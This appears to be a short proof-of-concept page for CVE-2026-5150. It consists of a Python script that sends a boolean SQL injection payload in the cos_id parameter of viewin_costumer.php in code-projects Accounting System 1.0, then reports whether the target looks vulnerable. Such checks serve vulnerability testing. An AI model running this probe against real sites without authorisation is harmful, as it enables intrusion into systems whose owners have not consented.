CVE-2026-5150: code-projects Accounting System 1.0 SQL注入漏洞

import requests def check_sql_injection(url): # The vulnerable parameter is 'cos_id' in viewin_costumer.php target = f"{url}/viewin_costumer.php" # Basic SQL injection test payload to check for syntax errors payload = { "cos_id": "1' AND 1=1-- -" } try: response = requests.get(target, params=payload, timeout=5) if response.status_code == 200: print("[+] Potential SQL Injection vulnerability detected.") print(f"[+] Response length: {len(response.text)}") else: print("[-] Target may not be vulnerable or is down.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target_url = "http://example.com" # Replace with actual target check_sql_injection(target_url)